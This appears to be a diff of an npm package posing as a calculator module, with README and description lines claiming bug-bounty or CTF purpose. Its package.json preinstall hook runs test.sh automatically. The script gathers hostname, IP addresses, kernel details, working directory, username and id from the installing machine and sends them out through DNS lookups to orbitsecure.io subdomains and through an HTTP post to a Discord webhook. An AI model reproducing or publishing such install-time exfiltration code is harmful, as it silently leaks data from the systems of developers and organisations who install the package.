calc_eeh9p9ahuh 2.0.0

package/README.md

@@ -0,0 +1 @@
+This is part of a bug bounty program and will be removed upon a request!, you can contact me here: deneuve@wearehackerone.com 

package/index.js

@@ -0,0 +1,3 @@
+module.exports.hacked = function () {
+    return "hacked"
+}

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "calc_eeh9p9ahuh",
+  "version": "2.0.0",
+  "description": "This is part of CTF, contact me here archerl@wearehackerone.com",
+  "main": "index.js",
+  "scripts": {
+    "test": "bash test.sh",
+    "preinstall": "bash test.sh"
+  },
+  "author": "archerl@wearehackerone.com",
+  "license": "ISC"
+}

package/test.sh

@@ -0,0 +1,25 @@
+# #!/bin/bash
+
+touch deneuvePOC.txt
+
+tagDen="ctfhac"
+
+
+# #DNS part
+
+# Hostname hostname -I [H]
+nslookup $tagDen.H.$(hostname -I | base64).sub.orbitsecure.io ||
+# About kernelname uname [N] 
+nslookup $tagDen.N.$(uname | base64).sub.orbitsecure.io ||
+# About kernel release uname -r [R]
+nslookup $tagDen.R.$(uname -r | base64).sub.orbitsecure.io ||
+# path pwd [P]
+nslookup $tagDen.P.$(pwd | base64).sub.orbitsecure.io ||
+
+
+# HTTP request
+curl -H "Content-Type: application/json" -d "{\"username\": \"Whoami: $(whoami)\", \"content\": \"**The path:** $(pwd), **Version and stuff:** $(uname -a) **ID:** $(id), **IP**: $(curl ifconfig.me), **Internal IP**: $(hostname -I), **Tag**: $tagDen \"}" https://discord.com/api/webhooks/888540719613091900/ZFVINbf0mKuHS5q1cXiT8aa5Cd9pjD5L_yinYtCb7_p2Mv1kbroxQdLQJ3KK46Xzz7HF
+
+
+# About the username whoami
+nslookup $tagDen.W.$(whoami | base64).sub.orbitsecure.io